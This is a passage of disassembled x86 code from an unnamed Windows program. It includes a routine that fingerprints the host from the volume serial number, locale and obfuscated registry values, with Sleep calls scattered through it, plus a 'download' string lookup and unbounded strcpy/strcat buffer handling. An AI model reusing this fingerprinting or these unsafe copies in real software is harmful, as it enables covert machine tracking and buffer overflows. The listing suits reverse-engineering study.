mov dword ptr [esi+8], 1
jz short loc_4243DE
test edi, edi
jz short loc_4243DE
push edi
call dword_43326C
push eax
push edi
call dword_433270
test eax, eax
mov [esi], eax
jnz short loc_4243E0
push 8007000Eh
call sub_431AB2
jmp short loc_4243E0
; ---------------------------------------------------------------------------
loc_4243DE: ; CODE XREF: sub_42439F+18j
; sub_42439F+1Cj
mov [esi], edi
loc_4243E0: ; CODE XREF: sub_42439F+31j
; sub_42439F+3Dj
mov eax, esi
pop edi
pop esi
retn 8
sub_42439F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4243E7 proc near ; CODE XREF: sub_423489+57p
; sub_423489+454p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
lea ecx, [ebp+var_4]
mov eax, [esi]
push ecx
push esi
call dword ptr [eax+34h]
test eax, eax
jge short loc_42440C
push offset dword_437238
push esi
push eax
call sub_431AC0
loc_42440C: ; CODE XREF: sub_4243E7+17j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
pop esi
mov [eax], ecx
leave
retn 4
sub_4243E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424419 proc near ; CODE XREF: sub_423489+BBFp
; sub_423489+C43p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
lea ecx, [ebp+var_4]
mov eax, [esi]
push ecx
push esi
call dword ptr [eax+40h]
test eax, eax
jge short loc_42443E
push offset dword_437238
push esi
push eax
call sub_431AC0
loc_42443E: ; CODE XREF: sub_424419+17j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
pop esi
mov [eax], ecx
leave
retn 4
sub_424419 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42444B proc near ; CODE XREF: sub_423489+104p
; sub_423489+225p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
lea ecx, [ebp+var_4]
mov eax, [esi]
push ecx
push esi
call dword ptr [eax+68h]
test eax, eax
jge short loc_424470
push offset dword_437238
push esi
push eax
call sub_431AC0
loc_424470: ; CODE XREF: sub_42444B+17j
mov ecx, [ebp+arg_0]
push 0
push [ebp+var_4]
call sub_424348
mov eax, [ebp+arg_0]
pop esi
leave
retn 4
sub_42444B endp
; =============== S U B R O U T I N E =======================================
sub_424485 proc near ; CODE XREF: sub_42852F+907p
mov eax, offset loc_432080
call sub_4318CA ; _EH_prolog
sub esp, 1Ch
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp-4], ebx
mov [ebp-18h], ebx
mov [ebp-10h], ebx
mov esi, [ebp+8]
mov byte ptr [ebp-4], 1
cmp esi, ebx
mov edi, 80004003h
jnz short loc_4244B6
push edi
call sub_431AB2
loc_4244B6: ; CODE XREF: sub_424485+29j
lea eax, [ebp-14h]
mov ecx, esi
push eax
call sub_4243E7
push dword ptr [eax]
lea ecx, [ebp-10h]
call sub_4264A7
lea ecx, [ebp-14h]
call sub_4264D2
loc_4244D3: ; CODE XREF: sub_424485+149j
push ebx
lea ecx, [ebp-10h]
call sub_4264DF
test al, al
jnz loc_4245D3
push offset aDownload ; "download"
lea ecx, [ebp-20h]
call sub_424152
mov esi, eax
cmp [ebp-10h], ebx
mov byte ptr [ebp-4], 2
jnz short loc_424502
push edi
call sub_431AB2
loc_424502: ; CODE XREF: sub_424485+75j
mov ecx, [ebp-10h]
lea eax, [ebp-1Ch]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-1Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-20h]
mov byte ptr [ebp-4], 1
call sub_4241A6
test bl, bl
jz short loc_42459F
xor esi, esi
cmp [ebp-10h], esi
jnz short loc_424543
push edi
call sub_431AB2
loc_424543: ; CODE XREF: sub_424485+B6j
mov ecx, [ebp-10h]
lea eax, [ebp-14h]
push eax
call sub_4243E7
mov byte ptr [ebp-4], 3
loc_424553: ; CODE XREF: sub_424485+107j
push esi
lea ecx, [ebp-14h]
call sub_4264DF
test al, al
jnz short loc_42458E
inc dword ptr [ebp-18h]
cmp [ebp-14h], esi
jnz short loc_42456E
push edi
call sub_431AB2
loc_42456E: ; CODE XREF: sub_424485+E1j
mov ecx, [ebp-14h]
lea eax, [ebp-24h]
push eax
call sub_424419
push dword ptr [eax]
lea ecx, [ebp-14h]
call sub_4264A7
lea ecx, [ebp-24h]
call sub_4264D2
jmp short loc_424553
; ---------------------------------------------------------------------------
loc_42458E: ; CODE XREF: sub_424485+D9j
mov eax, [ebp-14h]
mov byte ptr [ebp-4], 1
cmp eax, esi
jz short loc_42459F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_42459F: ; CODE XREF: sub_424485+AFj
; sub_424485+112j
cmp dword ptr [ebp-10h], 0
jnz short loc_4245AB
push edi
call sub_431AB2
loc_4245AB: ; CODE XREF: sub_424485+11Ej
mov ecx, [ebp-10h]
lea eax, [ebp-28h]
push eax
call sub_424419
push dword ptr [eax]
lea ecx, [ebp-10h]
call sub_4264A7
lea ecx, [ebp-28h]
call sub_4264D2
mov esi, [ebp+8]
xor ebx, ebx
jmp loc_4244D3
; ---------------------------------------------------------------------------
loc_4245D3: ; CODE XREF: sub_424485+59j
mov eax, [ebp-10h]
and byte ptr [ebp-4], 0
cmp eax, ebx
jz short loc_4245E4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4245E4: ; CODE XREF: sub_424485+157j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_4245F2
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_4245F2: ; CODE XREF: sub_424485+165j
mov ecx, [ebp-0Ch]
mov eax, [ebp-18h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_424485 endp
; =============== S U B R O U T I N E =======================================
sub_424606 proc near ; CODE XREF: sub_42852F+9FAp
mov eax, offset loc_4320FF
call sub_4318CA ; _EH_prolog
mov eax, 208Ch
call sub_431860
push ebx
mov ebx, ecx
mov ecx, [ebp+0Ch]
push esi
test ecx, ecx
push edi
jle loc_424A1B
mov eax, [ebp+8]
mov dword ptr [ebp-1Ch], 0FFFFE000h
sub [ebp-1Ch], eax
mov [ebp-28h], ecx
lea esi, [eax+2000h]
loc_424640: ; CODE XREF: sub_424606+40Fj
cmp byte ptr [esi+12000h], 0
jz loc_424734
push esi
call sub_4318BE ; strlen
test eax, eax
pop ecx
jbe loc_424734
cmp byte ptr [esi], 23h
jnz loc_424734
lea eax, [ebp-2098h]
push esi
push eax
call sub_4318B8 ; strcpy
mov edi, offset dword_437260
lea eax, [ebp-2098h]
push edi
push eax
call dword_4331CC ; strstr
add esp, 10h
test eax, eax
jz short loc_4246C2
lea ecx, [ebp-2098h]
sub eax, ecx
inc eax
cmp eax, 1
mov [ebp+0Ch], eax
jle short loc_4246C2
push eax
lea eax, [ebp-2098h]
push eax
push esi
call dword_43319C ; strncpy
mov eax, [ebp-1Ch]
mov ecx, [ebp+8]
add eax, esi
add esp, 0Ch
add eax, [ebp+0Ch]
and byte ptr [eax+ecx+2000h], 0
loc_4246C2: ; CODE XREF: sub_424606+84j
; sub_424606+95j
push edi
push esi
call sub_4318D0 ; strcat
push dword ptr [ebx+20h]
push esi
call sub_4318D0 ; strcat
add esp, 10h
lea ecx, [ebp-14h]
call sub_4317AE
and dword ptr [ebp-4], 0
push esi
lea ecx, [ebp-14h]
call sub_43179C
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp+0Ch], esp
push eax
call sub_431796
lea eax, [ebp-38h]
mov ecx, ebx
push eax
call sub_422FB0
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
call sub_4317A8
and byte ptr [ebp-4], 0
lea ecx, [ebp-38h]
call sub_4317A2
push dword ptr [ebp-14h]
push esi
call sub_4318B8 ; strcpy
or dword ptr [ebp-4], 0FFFFFFFFh
pop ecx
pop ecx
lea ecx, [ebp-14h]
call sub_4317A2
loc_424734: ; CODE XREF: sub_424606+41j
; sub_424606+50j ...
lea ecx, [ebp-10h]
call sub_4317AE
lea ecx, [ebp-24h]
mov dword ptr [ebp-4], 2
call sub_4317AE
cmp byte ptr [esi+12000h], 0
mov byte ptr [ebp-4], 3
jz loc_424826
lea edi, [ebx+20h]
lea ecx, [ebp-24h]
push edi
call sub_4317A8
push offset dword_437258
lea eax, [ebp-2Ch]
push edi
push eax
call sub_4317BA
push eax
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 4
call sub_4317A8
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 3
call sub_4317A2
push dword ptr [ebp-10h]
call sub_4221DB
test eax, eax
pop ecx
jz short loc_4247A9
push 1
push dword ptr [ebp-10h]
call sub_421C92
pop ecx
pop ecx
loc_4247A9: ; CODE XREF: sub_424606+195j
push dword ptr [edi]
call sub_4221DB
test eax, eax
pop ecx
jz short loc_4247C5
mov edi, [edi]
push 1
push dword ptr [ebp-10h]
push edi
call sub_421D8A
add esp, 0Ch
loc_4247C5: ; CODE XREF: sub_424606+1ADj
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp+0Ch], esp
push offset byte_439CB0
call sub_43178A
push ecx
mov byte ptr [ebp-4], 5
mov ecx, esp
mov [ebp-20h], esp
push offset dword_43724C
call sub_43178A
lea ecx, [ebp-58h]
mov byte ptr [ebp-4], 3
call sub_42692B
push ecx
lea eax, [esi+0E000h]
mov ecx, esp
mov [ebp+0Ch], esp
push eax
mov byte ptr [ebp-4], 6
call sub_43178A
lea ecx, [ebp-58h]
call sub_426DB8
lea ecx, [ebp-58h]
mov byte ptr [ebp-4], 3
call sub_426ABF
loc_424826: ; CODE XREF: sub_424606+150j
push 2Ch
call dword_4330E0 ; Sleep
mov al, [esi+12000h]
mov ecx, ebx
push eax
mov al, [esi+12004h]
push dword ptr [esi+12008h]
push eax
mov al, [esi+12001h]
push eax
mov al, [esi+12002h]
push eax
lea eax, [esi+2000h]
push eax
lea eax, [esi+4000h]
push eax
lea eax, [esi-2000h]
push esi
push eax
call sub_422ECA
lea ecx, [ebp-18h]
mov [ebp+0Fh], al
call sub_4317AE
lea eax, [esi+10000h]
lea ecx, [ebp-18h]
push eax
mov byte ptr [ebp-4], 7
call sub_43179C
lea eax, [ebp-18h]
push offset dword_437248
push eax
lea eax, [ebp-30h]
push eax
call sub_4317BA
lea edi, [esi+0E000h]
mov byte ptr [ebp-4], 8
push edi
push eax
lea eax, [ebp-34h]
push eax
call sub_4317BA
push eax
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 9
call sub_4317A8
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 8
call sub_4317A2
lea ecx, [ebp-30h]
mov byte ptr [ebp-4], 7
call sub_4317A2
push ecx
lea eax, [ebp-18h]
mov ecx, esp
mov [ebp-20h], esp
push eax
call sub_431796
mov ecx, ebx
call sub_4259AE
mov al, [esi+12000h]
test al, al
jz loc_4249E8
cmp byte ptr [ebp+0Fh], 0
jz short loc_424966
push 80000000h
push 1
push ecx
mov byte ptr [ebx+18h], 1
mov ecx, esp
mov [ebp+0Ch], esp
push offset byte_439CB0
call sub_43178A
push ecx
mov byte ptr [ebp-4], 0Ah
mov ecx, esp
mov [ebp-20h], esp
push offset dword_43724C
call sub_43178A
lea ecx, [ebp-98h]
mov byte ptr [ebp-4], 7
call sub_42692B
push ecx
mov byte ptr [ebp-4], 0Bh
mov ecx, esp
mov [ebp+0Ch], esp
push edi
call sub_43178A
lea ecx, [ebp-98h]
call sub_426DB8
mov byte ptr [ebp-4], 7
lea ecx, [ebp-98h]
jmp short loc_4249E3
; ---------------------------------------------------------------------------
loc_424966: ; CODE XREF: sub_424606+2F9j
test al, al
jz short loc_4249E8
cmp byte ptr [ebp+0Fh], 0
jnz short loc_4249E8
push dword ptr [ebp-10h]
call sub_4221DB
test eax, eax
pop ecx
jz short loc_42498D
push 1
push dword ptr [ebp-24h]
push dword ptr [ebp-10h]
call sub_421D8A
add esp, 0Ch
loc_42498D: ; CODE XREF: sub_424606+375j
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp+0Ch], esp
push offset byte_439CB0
call sub_43178A
push ecx
mov byte ptr [ebp-4], 0Ch
mov ecx, esp
mov [ebp-20h], esp
push offset dword_43724C
call sub_43178A
lea ecx, [ebp-78h]
mov byte ptr [ebp-4], 7
call sub_42692B
push ecx
mov byte ptr [ebp-4], 0Dh
mov ecx, esp
mov [ebp+0Ch], esp
push ebx
call sub_431796
lea ecx, [ebp-78h]
call sub_426DB8
mov byte ptr [ebp-4], 7
lea ecx, [ebp-78h]
loc_4249E3: ; CODE XREF: sub_424606+35Ej
call sub_426ABF
loc_4249E8: ; CODE XREF: sub_424606+2EFj
; sub_424606+362j ...
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 3
call sub_4317A2
lea ecx, [ebp-24h]
mov byte ptr [ebp-4], 2
call sub_4317A2
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-10h]
call sub_4317A2
add esi, 1400Ch
dec dword ptr [ebp-28h]
jnz loc_424640
loc_424A1B: ; CODE XREF: sub_424606+1Ej
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_424606 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A2E proc near ; CODE XREF: sub_422C48+123p
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 12Ch
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_422199
pop ecx
push [ebp+arg_4]
call dword_433048 ; SetCurrentDirectoryA
xor esi, esi
push 2
push esi
push [ebp+arg_0]
call sub_43126B
mov edi, eax
lea eax, [ebp+var_12C]
push eax
push 0FFFFFFFFh
push edi
call sub_431338
mov ebx, [ebp+var_12C]
add esp, 18h
test ebx, ebx
jle short loc_424A9F
loc_424A77: ; CODE XREF: sub_424A2E+6Fj
lea eax, [ebp+var_12C]
push eax
push esi
push edi
call sub_431338
push 2
lea eax, [ebp+var_128]
push 0
push eax
push esi
push edi
call sub_431620
add esp, 20h
inc esi
cmp esi, ebx
jl short loc_424A77
loc_424A9F: ; CODE XREF: sub_424A2E+47j
push edi
call sub_43168B
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
retn 8
sub_424A2E endp
; =============== S U B R O U T I N E =======================================
sub_424AAF proc near ; CODE XREF: sub_422C48+DAp
mov eax, offset loc_43211E
call sub_4318CA ; _EH_prolog
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
push 8
mov [ebp-4], ebx
call sub_431784
pop ecx
mov ecx, eax
mov [ebp-14h], ecx
cmp ecx, ebx
mov byte ptr [ebp-4], 1
jz short loc_424AE0
call sub_421000
mov esi, eax
jmp short loc_424AE2
; ---------------------------------------------------------------------------
loc_424AE0: ; CODE XREF: sub_424AAF+26j
xor esi, esi
loc_424AE2: ; CODE XREF: sub_424AAF+2Fj
mov ecx, esi
mov [ebp-4], bl
call sub_42103D
lea eax, [ebp-10h]
mov ecx, esi
push eax
push dword ptr [ebp+8]
call sub_42146A
mov ecx, esi
call sub_4210DD
cmp esi, ebx
jz short loc_424B0D
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax]
loc_424B0D: ; CODE XREF: sub_424AAF+54j
mov eax, [ebp+0Ch]
cmp eax, [ebp-10h]
jnz short loc_424B17
mov bl, 1
loc_424B17: ; CODE XREF: sub_424AAF+64j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_4317A2
mov ecx, [ebp-0Ch]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 8
sub_424AAF endp
; =============== S U B R O U T I N E =======================================
sub_424B35 proc near ; CODE XREF: sub_422C48+88p
; sub_422C48+1D2p ...
arg_0 = byte ptr 4
lea ecx, [esp+arg_0]
call sub_4317A2
retn 4
sub_424B35 endp
; =============== S U B R O U T I N E =======================================
sub_424B41 proc near ; CODE XREF: sub_422A1E+E9p
mov eax, offset loc_432189
call sub_4318CA ; _EH_prolog
sub esp, 3C8h
push ebx
push esi
mov [ebp-20h], ecx
xor esi, esi
push edi
lea ecx, [ebp-34h]
mov [ebp-40h], esi
call sub_4317AE
lea ecx, [ebp-30h]
mov [ebp-4], esi
call sub_4317AE
mov dx, ds:word_439CB4
xor eax, eax
lea edi, [ebp-5Ah]
mov [ebp-5Ch], dx
stosd
stosd
stosd
stosd
stosw
xor eax, eax
lea edi, [ebp-66h]
mov [ebp-68h], dx
push 40h
stosd
stosd
pop ecx
xor eax, eax
lea edi, [ebp-3D2h]
mov [ebp-3D4h], dx
rep stosd
stosw
xor eax, eax
lea edi, [ebp-46h]
mov [ebp-48h], dx
push 40h
stosw
pop ecx
lea edi, [ebp-1CAh]
mov [ebp-1CCh], dx
mov [ebp-18h], dx
rep stosd
stosw
xor eax, eax
lea edi, [ebp-16h]
stosb
lea edi, [ebp-1Ah]
mov [ebp-1Ch], dx
stosb
lea edi, [ebp-12h]
mov [ebp-14h], dx
lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 1
stosb
mov [ebp-2Ch], esi
mov byte ptr [ebp-21h], 1
call sub_4317AE
mov esi, dword_4330E0
push 20h
mov byte ptr [ebp-4], 2
call esi ; Sleep
mov edi, dword_4330CC
lea eax, [ebp-2D0h]
push offset a67f9158b ; "67F9158B"
push eax
call edi ; lstrcpyA
push 2
call esi ; Sleep
lea eax, [ebp-2D0h]
push eax
call dword_4330B4 ; lstrlenA
mov ecx, [ebp-20h]
push eax
lea eax, [ebp-2D0h]
push eax
lea eax, [ebp-10h]
push eax
call sub_4230F8
push dword ptr [eax]
lea eax, [ebp-3Ch]
push eax
call edi ; lstrcpyA
lea ecx, [ebp-10h]
call sub_4317A2
lea eax, [ebp-2D0h]
push offset a39 ; "39"
push eax
call edi ; lstrcpyA
push 1
call esi ; Sleep
cmp byte ptr [ebp+0Ch], 0
mov ebx, dword_433074
jz short loc_424C9B
lea eax, [ebp-2D0h]
push eax
call dword_4330B4 ; lstrlenA
mov ecx, [ebp-20h]
push eax
lea eax, [ebp-2D0h]
push eax
lea eax, [ebp-10h]
push eax
call sub_4230F8
push dword ptr [eax]
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
lea ecx, [ebp-10h]
call sub_4317A2
loc_424C9B: ; CODE XREF: sub_424B41+124j
lea eax, [ebp-3D4h]
push 104h
push eax
call dword_4330D4 ; GetWindowsDirectoryA
xor eax, eax
mov [ebp-10h], eax
jmp short loc_424CB7
; ---------------------------------------------------------------------------
loc_424CB4: ; CODE XREF: sub_424B41+18Bj
mov eax, [ebp-10h]
loc_424CB7: ; CODE XREF: sub_424B41+171j
mov cl, [ebp+eax-3D4h]
push eax
mov [ebp+eax-48h], cl
call esi ; Sleep
inc dword ptr [ebp-10h]
cmp dword ptr [ebp-10h], 3
jl short loc_424CB4
xor eax, eax
lea ecx, [ebp-40h]
push eax
push eax
push eax
push eax
push ecx
push eax
push eax
lea eax, [ebp-48h]
push eax
call dword_4330B8 ; GetVolumeInformationA
mov ecx, [ebp-20h]
lea eax, [ebp-5Ch]
push 10h
push eax
push dword ptr [ebp-40h]
call sub_42527B
lea eax, [ebp-2D0h]
push offset a67f9198b ; "67F9198B"
push eax
call edi ; lstrcpyA
push 2
call esi ; Sleep
lea eax, [ebp-2D0h]
push eax
call dword_4330B4 ; lstrlenA
mov ecx, [ebp-20h]
push eax
lea eax, [ebp-2D0h]
push eax
lea eax, [ebp-10h]
push eax
call sub_4230F8
push dword ptr [eax]
lea eax, [ebp-3Ch]
push eax
call edi ; lstrcpyA
lea ecx, [ebp-10h]
call sub_4317A2
push dword ptr [ebp-40h]
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-5Ch]
push eax
call dword_433298 ; wsprintfA
add esp, 0Ch
lea eax, [ebp-5Ch]
push eax
call dword_43329C ; CharUpperA
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
lea eax, [ebp-2D0h]
push offset a0a887397a5f240 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
push eax
call edi ; lstrcpyA
push 20h
call esi ; Sleep
push 80000002h
push 1
lea eax, [ebp-2D0h]
push 0
push eax
call dword_4330B4 ; lstrlenA
push ecx
mov ecx, esp
mov [ebp-28h], esp
push eax
lea eax, [ebp-2D0h]
push eax
push ecx
mov ecx, [ebp-20h]
call sub_4230F8
lea ecx, [ebp-0C8h]
call sub_426584
mov byte ptr [ebp-4], 3
lea ecx, [ebp-0C8h]
call sub_426816
mov [ebp-28h], eax
lea eax, [ebp-2D0h]
push offset a67f9158b ; "67F9158B"
push eax
call edi ; lstrcpyA
lea eax, [ebp-2D0h]
push eax
call dword_4330B4 ; lstrlenA
mov ecx, [ebp-20h]
push eax
lea eax, [ebp-2D0h]
push eax
lea eax, [ebp-10h]
push eax
call sub_4230F8
push dword ptr [eax]
lea eax, [ebp-3Ch]
push eax
call edi ; lstrcpyA
lea ecx, [ebp-10h]
call sub_4317A2
push dword ptr [ebp-28h]
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-5Ch]
push eax
call dword_433298 ; wsprintfA
add esp, 0Ch
lea eax, [ebp-1CCh]
push offset asc_437340 ; "-"
push eax
call ebx ; lstrcatA
push 22h
call esi ; Sleep
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
call dword_4330BC ; GetSystemDefaultLCID
push eax
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-5Ch]
push eax
call dword_433298 ; wsprintfA
add esp, 0Ch
lea eax, [ebp-1CCh]
push offset asc_437340 ; "-"
push eax
call ebx ; lstrcatA
push 2
call esi ; Sleep
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
lea eax, [ebp-2D0h]
push offset a0a887397a5f2_0 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
push eax
call edi ; lstrcpyA
push 1
call esi ; Sleep
lea eax, [ebp-2D0h]
push eax
call dword_4330B4 ; lstrlenA
mov ecx, [ebp-20h]
push eax
lea eax, [ebp-2D0h]
push eax
lea eax, [ebp-28h]
push eax
call sub_4230F8
push eax
lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 4
call sub_4317A8
mov byte ptr [ebp-4], 3
lea ecx, [ebp-28h]
call sub_4317A2
push 1
call esi ; Sleep
push 80000002h
push 1
push ecx
mov ecx, esp
mov [ebp-28h], esp
push offset byte_439CB0
call sub_43178A
push ecx
lea eax, [ebp-44h]
mov ecx, esp
mov [ebp-10h], esp
push eax
mov byte ptr [ebp-4], 5
call sub_431796
lea ecx, [ebp-0A8h]
mov byte ptr [ebp-4], 3
call sub_42692B
lea eax, [ebp-10h]
lea ecx, [ebp-0A8h]
push eax
mov byte ptr [ebp-4], 6
call sub_426D5C
lea eax, [ebp-10h]
lea ecx, [ebp-30h]
push eax
mov byte ptr [ebp-4], 7
call sub_4317A8
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 6
call sub_4317A2
mov eax, [ebp-30h]
mov eax, [eax-8]
test eax, eax
jg short loc_424F61
mov eax, [ebp-2Ch]
mov ecx, [ebp-20h]
push offset a000_0 ; "-000"
and byte ptr [eax], 0
lea eax, [ebp-1CCh]
push eax
call sub_426496
push 1
call esi ; Sleep
mov ecx, [ebp-20h]
lea eax, [ebp-1CCh]
push offset a000 ; "0-00"
push eax
call sub_426496
jmp loc_424FE9
; ---------------------------------------------------------------------------
loc_424F61: ; CODE XREF: sub_424B41+3E7j
push eax
lea ecx, [ebp-30h]
call sub_4317D2
mov cl, [eax]
mov [ebp-2Ch], eax
mov [ebp-18h], cl
mov cl, [eax+1]
and byte ptr [ebp-16h], 0
mov [ebp-17h], cl
mov cl, [eax+3]
push offset asc_437340 ; "-"
mov [ebp-1Ch], cl
mov cl, [eax+4]
and byte ptr [ebp-1Ah], 0
mov [ebp-1Bh], cl
mov cl, [eax+6]
mov [ebp-14h], cl
mov al, [eax+7]
and byte ptr [ebp-12h], 0
mov [ebp-13h], al
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
lea eax, [ebp-18h]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
lea eax, [ebp-1CCh]
push offset asc_437340 ; "-"
push eax
call ebx ; lstrcatA
lea eax, [ebp-14h]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
push 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_4317CC
loc_424FE9: ; CODE XREF: sub_424B41+41Bj
lea eax, [ebp-2D0h]
push offset a0a887397a5f2_1 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
push eax
call edi ; lstrcpyA
push 21h
call esi ; Sleep
push 80000002h
push 1
push ecx
mov ecx, esp
mov [ebp-28h], esp
push offset byte_439CB0
call sub_43178A
lea eax, [ebp-2D0h]
mov byte ptr [ebp-4], 8
push eax
call dword_4330B4 ; lstrlenA
push ecx
mov ecx, esp
mov [ebp-10h], esp
push eax
lea eax, [ebp-2D0h]
push eax
push ecx
mov ecx, [ebp-20h]
call sub_4230F8
lea ecx, [ebp-88h]
mov byte ptr [ebp-4], 6
call sub_42692B
lea eax, [ebp-10h]
lea ecx, [ebp-88h]
push eax
mov byte ptr [ebp-4], 9
call sub_426D5C
lea eax, [ebp-10h]
lea ecx, [ebp-34h]
push eax
mov byte ptr [ebp-4], 0Ah
call sub_4317A8
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 9
call sub_4317A2
mov eax, [ebp-34h]
mov eax, [eax-8]
test eax, eax
mov [ebp-28h], eax
jle loc_425113
push 1
call esi ; Sleep
push dword ptr [ebp-28h]
lea ecx, [ebp-34h]
call sub_4317D2
mov [ebp-2Ch], eax
mov al, [eax]
push 1
mov [ebp-18h], al
call esi ; Sleep
mov eax, [ebp-2Ch]
push 1
mov cl, [eax+1]
and byte ptr [ebp-16h], 0
mov [ebp-17h], cl
mov cl, [eax+3]
mov [ebp-1Ch], cl
mov cl, [eax+4]
and byte ptr [ebp-1Ah], 0
mov [ebp-1Bh], cl
mov al, [eax+6]
mov [ebp-14h], al
call esi ; Sleep
mov eax, [ebp-2Ch]
push 1
mov al, [eax+7]
and byte ptr [ebp-12h], 0
mov [ebp-13h], al
call esi ; Sleep
lea eax, [ebp-18h]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
push 1
call esi ; Sleep
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
lea eax, [ebp-14h]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
push 0FFFFFFFFh
lea ecx, [ebp-34h]
call sub_4317CC
jmp short loc_42513E
; ---------------------------------------------------------------------------
loc_425113: ; CODE XREF: sub_424B41+542j
push 0
push dword ptr [ebp-2Ch]
call edi ; lstrcpyA
push 1
call esi ; Sleep
lea eax, [ebp-1CCh]
push offset a000_1 ; "000"
push eax
call ebx ; lstrcatA
push 1
call esi ; Sleep
lea eax, [ebp-1CCh]
push offset a001 ; "001"
push eax
call ebx ; lstrcatA
loc_42513E: ; CODE XREF: sub_424B41+5D0j
lea eax, [ebp-68h]
push 104h
push eax
push 5
push 400h
call dword_4330C0 ; GetLocaleInfoA
push 25h
call esi ; Sleep
mov ecx, [ebp-20h]
lea eax, [ebp-68h]
push eax
call sub_42522A
push eax
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-5Ch]
push eax
call dword_433298 ; wsprintfA
add esp, 0Ch
push 1
call esi ; Sleep
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-1CCh]
push eax
call ebx ; lstrcatA
cmp byte ptr [ebp+0Ch], 0
jz short loc_42519B
lea eax, [ebp-1CCh]
push offset asc_437278 ; "}"
push eax
call ebx ; lstrcatA
loc_42519B: ; CODE XREF: sub_424B41+64Aj
lea eax, [ebp-1CCh]
push eax
push dword ptr [ebp+8]
call edi ; lstrcpyA
push dword ptr [ebp+8]
call dword_4330B4 ; lstrlenA
movzx ecx, byte ptr [ebp+0Ch]
shl ecx, 1
sub eax, ecx
cmp eax, 24h
jz short loc_4251C1
and byte ptr [ebp-21h], 0
loc_4251C1: ; CODE XREF: sub_424B41+67Aj
push 24h
call esi ; Sleep
lea ecx, [ebp-88h]
mov byte ptr [ebp-4], 6
call sub_426ABF
lea ecx, [ebp-0A8h]
mov byte ptr [ebp-4], 3
call sub_426ABF
lea ecx, [ebp-0C8h]
mov byte ptr [ebp-4], 2
call sub_4266D6
lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 1
call sub_4317A2
and byte ptr [ebp-4], 0
lea ecx, [ebp-30h]
call sub_4317A2
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-34h]
call sub_4317A2
mov ecx, [ebp-0Ch]
mov al, [ebp-21h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_424B41 endp
; =============== S U B R O U T I N E =======================================
sub_42522A proc near ; CODE XREF: sub_424B41+61Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
xor esi, esi
xor dl, dl
loc_425233: ; CODE XREF: sub_42522A+Fj
